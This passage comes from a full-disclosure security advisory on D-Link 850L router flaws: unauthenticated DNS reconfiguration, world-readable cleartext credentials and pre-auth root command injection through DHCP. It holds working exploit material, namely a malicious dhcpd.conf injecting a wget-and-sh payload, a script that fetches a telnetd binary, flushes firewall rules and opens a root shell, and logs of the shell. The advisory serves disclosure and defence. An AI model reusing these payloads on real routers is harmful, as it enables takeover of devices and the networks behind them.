l0J7KYK/GTIV6GxE7XarUT7cWwPJhGXhfPnCKAPVXKj9Pf1TAW0ZvqOfkOIY7b0q 7/ltmxHfgQ1PleOWV/GXz6BFmI0KiJL+2jBAkyF9nm4CrIwitz32FF+T2G1VlFft e+sCAwEAAaN7MHkwCQYDVR0TBAIwADAsBglghkgBhvhCAQ0EHxYdT3BlblNTTCBH ZW5lcmF0ZWQgQ2VydGlmaWNhdGUwHQYDVR0OBBYEFLW/0aXWbyCwiR+mwVgFMbKz 0MEBMB8GA1UdIwQYMBaAFF346bXxV6SQlLuf2/eRleccoufSMA0GCSqGSIb3DQEB BQUAA4IBAQA9CSLQpn2czb1brWLCaikS0WGIyh5oHQTdQPup058iSdz6+zwh3UWl UxqbgO5QFqY2OjzwOSfkjXAgA3N/JmWsqwWxhO58FkPKL7VrRPx1oceGBBi037J2 84j73OyZPf7RfOr6VusL1WmESD0S29Hv+YmwYnDsvt3m792Iz/Tl/x2I1eAj8Luj 346KBerz3BRJLUZKJ0Cm/HBK9ZQ/lGTRk3sDEnVnMO6MB+FzdwAj1mggB3+PTh3o docNTCb2VoTiVpigbK1xISOkpju5jicTwq5wD2rGvriImgrXADk6kH5fTSKITqaK L0K03Bik6/rxBA6n4v9drM1hKAF+0wET -----END CERTIFICATE----- ## Details - WAN && LAN - revA - Nonce bruteforcing for DNS configuration The file `htdocs/parentalcontrols/bind.php` allows to change DNS configuration. It doesn't check authentication of the admin user. An attacker can bruteforce the nonce (`?nonce=integer`). There are no limitations of HTTP requests and no authentication method: 8 $uptime_limit = query(INF_getinfpath($WAN1)."/open_dns/nonce_uptime") + 1800; 9 if(query(INF_getinfpath($WAN1)."/open_dns/nonce")!=$_GET["nonce"] || $_GET["nonce"]=="") 10 { 11 $Response="BindError"; 12 } 13 else if(query("/runtime/device/uptime") > $uptime_limit) 14 { 15 $Response="BindTimeout"; 16 } The attacker can then define new DNS servers: 21 set(INF_getinfpath($WAN1)."/open_dns/deviceid", $_GET["deviceid"]); 22 set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns1", $_GET["dnsip1"]); 23 set(INF_getinfpath($WAN1)."/open_dns/parent_dns_srv/dns2", $_GET["dnsip2"]); An attacker can use this vuln to forward traffic to server he/she controls (i.e.: custom Dlink Cloud servers, to take control over the dlink router). ## Details - Local - revA and revB - Weak files permission and credentials stored in cleartext It appears some files have weak permissions: 1. /var/passwd /var/passwd contains credentials in cleartext. The permissions of /var/passwd are: -rw-rw-rw- (666) # ls -la /var/passwd -rw-rw-rw- 1 root root 28 Jan 1 00:00 /var/passwd # cat /var/passwd "Admin" "password" "0" 2. /var/etc/hnapasswd Note that an attacker can use /var/etc/hnapasswd to retrieve the password in cleartext too: # cat /var/etc/hnapasswd Admin:password The permissions of /var/etc/hnapasswd are: -rw-rw-rw- (666) # ls -la /var/etc/hnapasswd -rw-rw-rw- 1 root root 20 Jan 1 00:00 /var/etc/hnapasswd 3. /etc/shadow /etc/shadow is a symlink to /var/etc/passwd. The file /var/etc/passwd is world-readable, as shown below: # ls -al /etc/shadow lrwxrwxrwx 1 root root 15 Jan 20 2017 /etc/shadow -> /var/etc/shadow # ls -la /var/etc/shadow -rw-r--r-- 1 root root 93 Jan 1 00:00 /var/etc/shadow This file contains a DES hash of the admin user. # cat /var/etc/shadow root:!:10956:0:99999:7::: nobody:!:10956:0:99999:7::: Admin:zVc1PPVw2VWMc:10956:0:99999:7::: 4. /var/run/storage_account_root /var/run/storage_account_root contains credentials in cleartext. The permissions of /var/passwd are: -rw-rw-rw- (666) # ls -la /var/run/storage_account_root -rw-rw-rw- 1 root root 40 Jan 1 00:00 /var/run/storage_account_root # cat /var/run/storage_account_root admin:password,::: jean-claude:dusse,::: 5. /var/run/hostapd* The files /var/run/hostapd* contain the wireless passphrase in cleartext. The permissions of these files are: -rw-rw-rw- (666) # ls -la /var/run/hostapd* -rw-rw-rw- 1 root root 73 Jan 1 00:00 /var/run/hostapd-wlan1wps.eap_user -rw-rw-rw- 1 root root 1160 Jan 1 00:00 /var/run/hostapd-wlan1.conf -rw-rw-rw- 1 root root 73 Jan 1 00:00 /var/run/hostapd-wlan0wps.eap_user -rw-rw-rw- 1 root root 1170 Jan 1 00:00 /var/run/hostapd-wlan0.conf # cat /var/run/hostapd*|grep -i pass wpa_passphrase=aaaaa00000 wpa_passphrase=aaaaa00000 ## Details - WAN - revB - Pre-Auth RCEs as root (L2) The DHCP client running on the router is vulnerable to several command injections as root. Please use the dhcpd.conf file provided: rasp-pwn-dlink# cat /etc/dhcp/dhcpd.conf option domain-name ";wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;"; option domain-name-servers 8.8.8.8, 8.8.4.4; default-lease-time 600; max-lease-time 7200; ddns-update-style none; subnet 10.254.239.0 netmask 255.255.255.224 { range 10.254.239.10 10.254.239.20; option routers 10.254.239.1; } rasp-pwn-dlink# ifconfig eth1 eth1 Link encap:Ethernet HWaddr 00:0e:c6:aa:aa:aa inet addr:10.254.239.1 Bcast:10.254.239.255 Mask:255.255.255.0 inet6 addr: fe80::20e:caaa:aaaa:aaa/64 Scope:Link UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:129 errors:0 dropped:0 overruns:0 frame:0 TX packets:107 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:11181 (10.9 KiB) TX bytes:49155 (48.0 KiB) rasp-pwn-dlink# cat /var/www/html/dhcp-rce #!/bin/sh wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10 done ) & /var/telnetd-dhcpd-wan -l /bin/sh -p 110 & rasp-pwn-dlink# dhcpd eth1 Internet Systems Consortium DHCP Server 4.3.1 Copyright 2004-2014 Internet Systems Consortium. All rights reserved. For info, please visit https://www.isc.org/software/dhcp/ Config file: /etc/dhcp/dhcpd.conf Database file: /var/lib/dhcp/dhcpd.leases PID file: /var/run/dhcpd.pid Wrote 1 leases to leases file. Listening on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on LPF/eth1/00:0e:c6:aa:aa:aa/10.254.239.0/27 Sending on Socket/fallback/fallback-net rasp-pwn-dlink# When doing a DHCP request at startup, the router connects from the WAN the remote HTTP server: rasp-pwn-dlink# tail -f /var/log/nginx/access.log 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:40:30 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" And now we got a telnetd from the WAN: rasp-pwn-dlink# telnet 10.254.239.10 110 Trying 10.254.239.10... Connected to 10.254.239.10. Escape character is '^]'. BusyBox v1.14.1 (2017-01-20 14:35:27 CST) built-in shell (msh) Enter 'help' for a list of built-in commands. # uname -ap Linux dlinkrouter 2.6.30.9 #1 Fri Jan 20 14:12:50 CST 2017 rlx GNU/Linux # cd /var # ls -la drwxr-xr-x 5 root root 0 Jan 1 00:00 etc drwxr-xr-x 2 root root 0 Jan 1 1970 log drwxr-xr-x 3 root root 0 Jan 1 00:00 run drwxr-xr-x 2 root root 0 Jan 1 1970 sealpac drwxr-xr-x 4 root root 0 Jan 1 00:00 tmp drwxr-xr-x 2 root root 0 Jan 1 1970 dnrd drwxr-xr-x 4 root root 0 Jan 1 1970 htdocs -rw-r--r-- 1 root root 10 Jan 1 1970 TZ drwxr-xr-x 2 root root 0 Jan 1 00:00 servd -rw-r--r-- 1 root root 5588 Jan 1 1970 default_wifi.xml -rw-rw-rw- 1 root root 28 Jan 1 00:00 passwd drwxrwx--- 2 root root 0 Jan 1 00:00 session srwxr-xr-x 1 root root 0 Jan 1 00:00 gpio_ctrl -rw-r--r-- 1 root root 2 Jan 1 00:00 sys_op drwxr-xr-x 2 root root 0 Jan 1 00:00 home lrwxrwxrwx 1 root root 16 Jan 1 00:00 portal_share -> /var/tmp/storage drwxr-xr-x 3 root root 0 Jan 1 00:00 proc -rwxr-xr-x 1 root root 856 Jan 1 00:00 killrc0 drwxr-xr-x 2 root root 0 Jan 1 00:00 porttrigger -rw-r--r-- 1 root root 383 Jan 1 00:00 re -rwxrwxrwx 1 root root 10520 Jan 1 00:00 telnetd-dhcpd-wan -rw-rw-rw- 1 root root 301 Jan 1 00:00 rendezvous.conf -rw-rw-rw- 1 root root 523 Jan 1 00:00 stunnel.conf -rw-rw-rw- 1 root root 282 Jan 1 00:00 topology.conf -rw-rw-rw- 1 root root 394 Jan 1 00:00 lld2d.conf -rw-r--r-- 1 root root 199 Jan 1 00:00 hosts drwxr-xr-x 16 root root 241 Jan 20 2017 .. drwxr-xr-x 14 root root 0 Jan 1 00:00 . # cat re #!/bin/sh wget -O /var/telnetd-dhcpd-wan http://10.254.239.1/dlink-telnetd chmod 777 /var/telnetd-dhcpd-wan (for i in 0 1 2 3; do # win races against legit iptables rules iptables -F iptables -X iptables -t nat -F iptables -t nat -X iptables -P INPUT ACCEPT iptables -P OUTPUT ACCEPT iptables -P FORWARD ACCEPT sleep 10 done ) & /var/telnetd-dhcpd-wan -l /bin/sh -p 110 & # This telnetd access is reachable from the WAN and the LAN. Analysis of the vulnerabilities There are several WAN RCEs. The first problem is located here: /etc/services/INET/inet_ipv4.php 94 $udhcpc_helper = "/var/servd/".$inf."-udhcpc.sh"; And you have command injections everywhere starting line 101. 99 fwrite(w,$udhcpc_helper, 100 '#!/bin/sh\n'. 101 'echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console\n'. 102 'phpsh '.$hlper.' ACTION=$1'. 103 ' INF='.$inf. 104 ' INET='.$inet. 105 ' MTU='.$mtu. 106 ' INTERFACE=$interface'. 107 ' IP=$ip'. 108 ' SUBNET=$subnet'. 109 ' BROADCAST=$broadcast'. 110 ' LEASE=$lease'. 111 ' "DOMAIN=$domain"'. 112 ' "ROUTER=$router"'. 113 ' "DNS='.$dns.'$dns"'. 114 ' "CLSSTROUT=$clsstrout"'. 115 ' "MSCLSSTROUT=$msclsstrout"'. 116 ' "SSTROUT=$sstrout"'. 117 ' "SCOPE=$scope"'. 118 ' "WINSTYPE=$winstype"'. 119 ' "WINS=$wins"'. 120 ' "SIXRDPFX=$sixrd_prefix"'. 121 ' "SIXRDPLEN=$sixrd_prefixlen"'. 122 ' "SIXRDMSKLEN=$sixrd_msklen"'. 123 ' "SIXRDBRIP=$sixrd_bripaddr"'. 124 ' "SDEST=$sdest"'. 125 ' "SSUBNET=$ssubnet"'. 126 ' "SROUTER=$srouter"\n'. 127 'exit 0\n' 128 ); As you can see, variables are not sanitized. One solution is also to inject commands using the `/var/servd/$VAR-udhcpc.sh` script with `$domain` (`option domain-name` in isc-dhcp). The `WAN-1-udhcpc.sh` file will be generated and called by `udhcpc` (`udhcpc -i eth1 -H dlinkrouter -p /var/servd/WAN-1-udhcpc.pid -s /var/servd/WAN-1-udhcpc.sh`) # cat WAN-1-udhcpc.sh #!/bin/sh echo [$0]: $1 $interface $ip $subnet $router $lease $domain $scope $winstype $wins $sixrd_prefix $sixrd_prefixlen $sixrd_msklen $sixrd_bripaddr ... > /dev/console phpsh /etc/services/INET/inet4_dhcpc_helper.php ACTION=$1 INF=WAN-1 INET=INET-3 MTU=1500 INTERFACE=$interface IP=$ip SUBNET=$subnet BROADCAST=$broadcast LEASE=$lease "DOMAIN=$domain" "ROUTER=$router" "DNS=$dns" "CLSSTROUT=$clsstrout" "MSCLSSTROUT=$msclsstrout" "SSTROUT=$sstrout" "SCOPE=$scope" "WINSTYPE=$winstype" "WINS=$wins" "SIXRDPFX=$sixrd_prefix" "SIXRDPLEN=$sixrd_prefixlen" "SIXRDMSKLEN=$sixrd_msklen" "SIXRDBRIP=$sixrd_bripaddr" "SDEST=$sdest" "SSUBNET=$ssubnet" "SROUTER=$srouter" exit 0 So using this DNS configuration will work against the router: option domain-name "`wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;`"; In the logs, we confirm the execution: rasp-pwn-dlink# tail -f /var/log/nginx/access.log 10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dhcp-rce HTTP/1.1" 200 383 "-" "Wget" 10.254.239.10 - - [03/Jul/2017:15:42:31 +0000] "GET /dlink-telnetd HTTP/1.1" 200 10520 "-" "Wget" Note that you also have command injections inside some generated files (in `/var/servd/`) using the `;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re;` payload: # cat /var/servd/DHCPS4.LAN-1_start.sh #!/bin/sh rm -f /var/servd/LAN-1-udhcpd.lease xmldbc -X /runtime/inf:1/dhcps4/leases xmldbc -s /runtime/inf:1/dhcps4/pool/start 192.168.0.100 xmldbc -s /runtime/inf:1/dhcps4/pool/end 192.168.0.199 xmldbc -s /runtime/inf:1/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:1/dhcps4/pool/network 192.168.0.1 xmldbc -s /runtime/inf:1/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:1/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:1/dhcps4/pool/router 192.168.0.1 event UPDATELEASES.LAN-1 add "@/etc/events/UPDATELEASES.sh LAN-1 /var/servd/LAN-1-udhcpd.lease" udhcpd /var/servd/LAN-1-udhcpd.conf & exit 0 exit 0 # # cat /var/servd/DHCPS4.LAN-2_start.sh #!/bin/sh rm -f /var/servd/LAN-2-udhcpd.lease xmldbc -X /runtime/inf:2/dhcps4/leases xmldbc -s /runtime/inf:2/dhcps4/pool/start 192.168.7.100 xmldbc -s /runtime/inf:2/dhcps4/pool/end 192.168.7.199 xmldbc -s /runtime/inf:2/dhcps4/pool/leasetime 604800 xmldbc -s /runtime/inf:2/dhcps4/pool/network 192.168.7.1 xmldbc -s /runtime/inf:2/dhcps4/pool/mask 24 xmldbc -s /runtime/inf:2/dhcps4/pool/domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <--- command injection xmldbc -s /runtime/inf:2/dhcps4/pool/router 192.168.7.1 event UPDATELEASES.LAN-2 add "@/etc/events/UPDATELEASES.sh LAN-2 /var/servd/LAN-2-udhcpd.lease" udhcpd /var/servd/LAN-2-udhcpd.conf & exit 0 exit 0 # Bonus point: this attack will be relayed to internal clients using the dhcp server running inside the router. So if you connect a vulnerable Dlink router to the internal network, it will be pwned too: # ps -w|grep dhcpd 6543 root 984 S udhcpd /var/servd/LAN-1-udhcpd.conf 6595 root 984 S udhcpd /var/servd/LAN-2-udhcpd.conf The `/runtime/inf:{1,2}/dhcps4/pool/domain` entries in the `/var/servd/LAN-{1,2}-udhcpd.conf` files contain the rogue domain value: # cat /var/servd/LAN-1-udhcpd.conf remaining no start 192.168.0.100 end 192.168.0.199 interface br0 lease_file /var/servd/LAN-1-udhcpd.lease pidfile /var/servd/LAN-1-udhcpd.pid force_bcast no opt subnet 255.255.255.0 opt domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re; <-------- this domain will be provided to clients connected on the LAN, possibly infecting other dlink routers \o/ opt router 192.168.0.1 opt dns 192.168.0.1 opt lease 604800 dhcp_helper event UPDATELEASES.LAN-1 # cat /var/servd/LAN-2-udhcpd.conf remaining no start 192.168.7.100 end 192.168.7.199 interface br1 lease_file /var/servd/LAN-2-udhcpd.lease pidfile /var/servd/LAN-2-udhcpd.pid force_bcast no opt subnet 255.255.255.0 opt domain ;wget -O /var/re http://10.254.239.1/dhcp-rce ; sh /var/re <-------- this domain will be provided to clients connected on the LAN, possibly infecting other dlink routers \o/ opt router 192.168.7.1 opt dns 192.168.7.1 opt lease 604800 dhcp_helper event UPDATELEASES.LAN-2 # ## Details - LAN - revA and revB - DoS against some daemons It appears some daemons running in the routers (revA and revB) can be crashed remotely from the LAN. As it doesn't provide further remote privileges to an attacker, this is only for information and was not detailed. ## Vendor Response Due to difficulties in previous exchange with Dlink[1], Full-disclosure is applied. Their previous lack of consideration about security made me publish this research without coordinated disclosure. I advise to IMMEDIATELY DISCONNECT vulnerable routers from the Internet. [1]: http://pierrekim.github.io/blog/2017-02-02-update-dlink-dwr-932b-lte-routers-vulnerabilities.html ## Report Timeline * Jun 15, 2017: Vulnerabilities found. * Jul 03, 2015: This advisory is written. * Sep 08, 2017: A public advisory is sent to security mailing lists. ## Credits These vulnerabilities were found by Pierre Kim (@PierreKimSec). ## Greetings Big thanks to Alexandre Torres. ## References https://pierrekim.github.io/blog/2017-09-08-dlink-850l-mydlink-cloud-0days-vulnerabilities.html https://pierrekim.github.io/advisories/2017-dlink-0x00-dlink-850l-cloud.txt ## Disclaimer This advisory is licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/ -----BEGIN PGP SIGNATURE----- Version: GnuPG v1 iQIcBAEBCgAGBQJZsclZAAoJEMQ+Dtp9ky28cCsP/1lxKgn0WX8EV9fEOpFRNZxP bWBbcjlKOJIHP+PYK0opXBtWfRdEhDPuNP55zJUsWpUdL4pnDlkWGK3+jPP3yIIa jx7yCxcORqtTqw6kBoixL/0SBAamVKXm/f4h570Ys5wRHApXsSSVBxgH4W6iw8pz RF8XdpJknMhSUYv0lEsluMtAtwpQEt/JGyuCNOoOdxPIEg7WBCtPKqr/3qdYjtEu SgDjUtqWIZOoNN3WcJ/Y0fnWZ2j4SCEXOve7Y3wTnTtXaUKylxY42JQcKOkdOppO OyUNyKH8wcV+HIObGuiKWYrTo9eL4oJKhqPyR+M+oMTM7d5LwOjW+qaQJtEEArGN Ct1s8vPQ2mOHZMQZOJyn012iVofHe/AMu6Ap9/pWGqz4kFEIwxaesWCDAogQK8/o c4YAX6OhQM+o4CtHEcIuoJpegN6Iqqkmsw25Vpp12fRpskvHdiNM6jm7HRAieFXz m5JgjOHBQTW9mklXIsQSUnYaBfh9IcCLeS21xlZymZiAqHQhsX7B0MQabYau8kLk IVXasEff5LLf6tcKnNEJk58IXsoux60toHch3yojgywdGMcRlkwVum/k9aWlovep Tn2mD6Ibf7RlFtMoFNyZqGpI58CYV8mUIGXO1HW+fKEWRkSx575xSQQR5JrICH7B JcW7TiajDhcOigJ5WHhX =qobU -----END PGP SIGNATURE----- -- Pierre Kim pierre.kim.sec@gmail.com @PierreKimSec https://pierrekim.github.io/


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